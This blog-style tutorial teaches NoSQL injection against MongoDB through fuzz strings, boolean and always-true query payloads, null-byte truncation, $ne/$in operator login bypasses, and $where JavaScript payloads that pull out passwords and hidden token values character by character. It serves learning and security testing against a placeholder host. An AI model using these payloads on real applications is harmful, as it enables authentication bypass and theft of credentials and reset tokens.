Post

NoSQL Injection Techniques and Exploits

Exploring NoSQL injection techniques, including syntax injection and operator abuse , A complete Guide For Beginner and a Refresher

NoSQL Injection Techniques and Exploits

Types

  • syntax injection
  • operator injection

    NoSQL Syntax Injection

  • Definition: Similar to SQL injection, involves breaking the query syntax and exploiting vulnerabilities.

Detecting Syntax Injection in MongoDB

  1. Test each input by submitting fuzz strings and special characters.

Fuzz Strings

1
'"`{ ;$Foo} $Foo \xYZ '%00
1
' " \ ; { } ( )

Testing

Example:

https://insecure-website.com/product/lookup?category=fizzy

  • The server handles the query as:

    1
    
      this.category == 'fizzy'
    
  • Fuzz the input using the fuzz strings and analyze the response.

  • Determine which characters (e.g., single or double quotes) impact the query.

Examples:

1
2
this.category == '''
this.category == '\''

Boolean Influence Testing

False Output:

1
https://insecure-website.com/product/lookup?category=fizzy'+&&+0+&&+'x
  • No categories are displayed since the query evaluates to false.

True Output:

1
https://insecure-website.com/product/lookup?category=fizzy'+&&+1+&&+'x
  • The fizzy category is displayed, indicating boolean influence.

Overriding Existing Conditions

  • Use the || (OR) operator to override conditions, ensuring the query always returns true:
1
https://insecure-website.com/product/lookup?category=fizzy'||'1'=='1
  • Server query becomes:
1
this.category == 'fizzy'||'1'=='1'
  • All categories are displayed.

Null Character Injection

  • MongoDB may ignore all characters after a null character (\u0000).

Example:

If the server query is:

1
this.category == 'fizzy' && this.released == 1

After injecting a null character:

1
this.category == 'fizzy'\u0000' && this.released == 1
  • Unreleased objects may be displayed.

Operator Injection

  • Definition: Abusing NoSQL operators like $where, $ne, $in, and $regex to exploit vulnerabilities.

Injecting into Query Operators

  1. Example Query:
1
{"username":"wiener"}
  • Queries for username = wiener.

Injection Example:

1
{"username":{"$ne":"invalid"}}
  • Query becomes username != invalid, which returns all usernames except invalid.
  1. Transforming input:
1
username=wiener becomes username[$ne]=invalid
  1. Complex Query Example:
1
{"username":{"$in":["admin","administrator","superadmin"]},"password":{"$ne":""}}
  • Fetches data if the username is one of admin, administrator, or superadmin, and the password is not empty.

Steps to Test:

  1. Convert the request method from GET to POST.
  2. Change the Content-Type header to application/json.
  3. Add JSON to the message body.
  4. Inject query operators into the JSON.

Exfiltrating Data in MongoDB

Example:

1
https://insecure-website.com/user/lookup?username=admin

Server query:

1
{"$where":"this.username == 'admin'"}

Payload Examples:

  1. To check if the first character of the password is a:
1
admin' && this.password[0] == 'a' || 'a'=='b
  1. To check if the password contains digits:
1
admin' && this.password.match(/\d/) || 'a'=='b
  1. To find the password length using binary search:
1
administrator' && this.password.length < 30 || 'a'=='b

Extracting Field Names, Lengths, and Values

Example Query:

1
2
3
4
5
6
7
8
9
10
db.user.findOne(userInfo)

let userInfo = {
    "_id": "skjfskmjfsdf",
    "username": "carlos",
    "password": {
        "$ne": ""
    },
    "$where": "function(){ return 0;}"
}

Steps to Extract Information:

  1. Check error messages:

    • 1: Account Locked
    • 0: Invalid
  2. Find hidden field names and their lengths:

Example Payloads:

  • Find hidden field name:
1
"$where": "function(){ if(Object.keys(this)[0].match('_id')) return 1; else 0; }"
  • Find hidden field name length:
1
"$where": "function(){ if(Object.keys(this)[3].length == 1) return 1; else 0; }"
  • Hidden field name unlockToken:
1
"$where": "function(){ if(this.unlockToken.length == 1) return 1; else 0; }"
  1. Determine value length and content:
  • Length is 16:
1
"$where": "function(){ if(this.unlockToken.length == 16) return 1; else 0; }"
  • Check if value starts with a:
1
"$where": "function(){ if(this.unlockToken.match(/^a/)) return 1; else 0; }"
  • Check if value contains digits:
1
"$where": "function(){ if(this.unlockToken.match(/\\d/)) return 1; else 0; }"

This post is licensed under CC BY 4.0 by the author.